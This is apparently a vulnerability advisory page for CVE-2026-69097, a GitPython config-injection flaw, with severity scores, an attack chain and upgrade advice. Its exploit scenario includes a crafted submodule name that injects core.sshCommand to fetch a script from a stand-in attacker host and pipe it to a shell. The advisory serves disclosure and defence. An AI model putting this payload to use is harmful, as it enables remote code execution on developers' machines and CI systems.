Skip to main content

GitPython CVE-2026-69097

| EUVDEUVD-2026-52290 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-08-03 VulnCheck GHSA-9xx9-hw38-h2w9
RCE Gitpython
7.3
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
7.3 HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.3 HIGH

Network delivery via malicious repository (AV:N); AC:H because victim must subsequently trigger a git SSH operation; scope changes as RCE executes in git subprocess outside GitPython's trust boundary.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
7.0 HIGH
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

4
Source Code Evidence Fetched
Aug 03, 2026 - 14:21 vuln.today
Analysis Generated
Aug 03, 2026 - 14:21 vuln.today
Patch available
Aug 03, 2026 - 14:02 EUVD
CVE Published
Aug 03, 2026 - 13:20 cve.org
HIGH 7.3

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on gitpython (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.53.

DescriptionCVE.org

GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.

AnalysisAI

Git-config section-name injection in GitPython <= 3.1.52 enables remote code execution by writing attacker-controlled core.sshCommand directives into a victim's .git/config via the create_submodule() or clone_from() API methods. The vulnerable component (CPE: cpe:2.3:a:gitpython-developers:gitpython) fails to escape bracket characters in submodule names, allowing a crafted name such as x"] [core] sshCommand=malicious # to close the intended config section header and open a new one on the same line - bypassing the existing CR/LF/NUL guard entirely. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Clone or process attacker-controlled repository via GitPython
Delivery
Malicious submodule name written verbatim into .git/config section header
Exploit
Bracket characters close intended header and inject core.sshCommand directive
Execution
Victim performs git SSH remote operation
Impact
Git executes attacker-defined command with victim's OS privileges
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires two sequential conditions. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:L/AC:H/AT:P/PR:N/UI:P) reflects local execution context, high attack complexity, specific attack requirements, and passive user interaction. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes a public git repository whose `.gitmodules` file declares a submodule named `x"] [core] sshCommand=curl attacker.com/backdoor | sh #`. When a developer or automated pipeline uses GitPython <= 3.1.52 to clone this repository and initialize submodules via `clone_from()`, GitPython writes the injected directive into the local `.git/config`. …
Remediation Upgrade GitPython to version 3.1.53 or later using `pip install --upgrade gitpython`. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, inventory all systems running GitPython and identify which versions are deployed, with priority on production CI/CD pipelines and systems processing external repository URLs. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitpython

View all
CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w
CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability
CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili
CVE-2023-40267 CRITICAL
9.8 Aug 11

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS
CVE-2026-67324 CRITICAL
9.3 Aug 01

Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-opti
CVE-2026-67325 HIGH
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl
CVE-2026-67323 HIGH
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control
CVE-2026-67322 HIGH
8.7 Aug 01

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon
CVE-2026-67326 HIGH
7.3 Aug 01

Remote code execution via newline injection in GitPython before 3.1.50 allows an attacker who controls the section argum
CVE-2024-22190 HIGH POC
7.8 Jan 11

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability

Same weakness CWE-74 – Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

View all
CVE-2013-2251 CRITICAL POC
9.8
CVE-2022-27924 HIGH POC
7.5
CVE-2016-4010 CRITICAL POC
9.8
CVE-2015-1592 HIGH POC
7.5
CVE-2025-20281 CRITICAL POC
10.0
CVE-2015-7309 MEDIUM POC
6.5
CVE-2014-8423 CRITICAL POC
10.0
CVE-2020-8468 HIGH POC
8.8

Same technique RCE

View all
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2023-3519 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8
CVE-2011-2462 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

Share

CVE-2026-69097 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy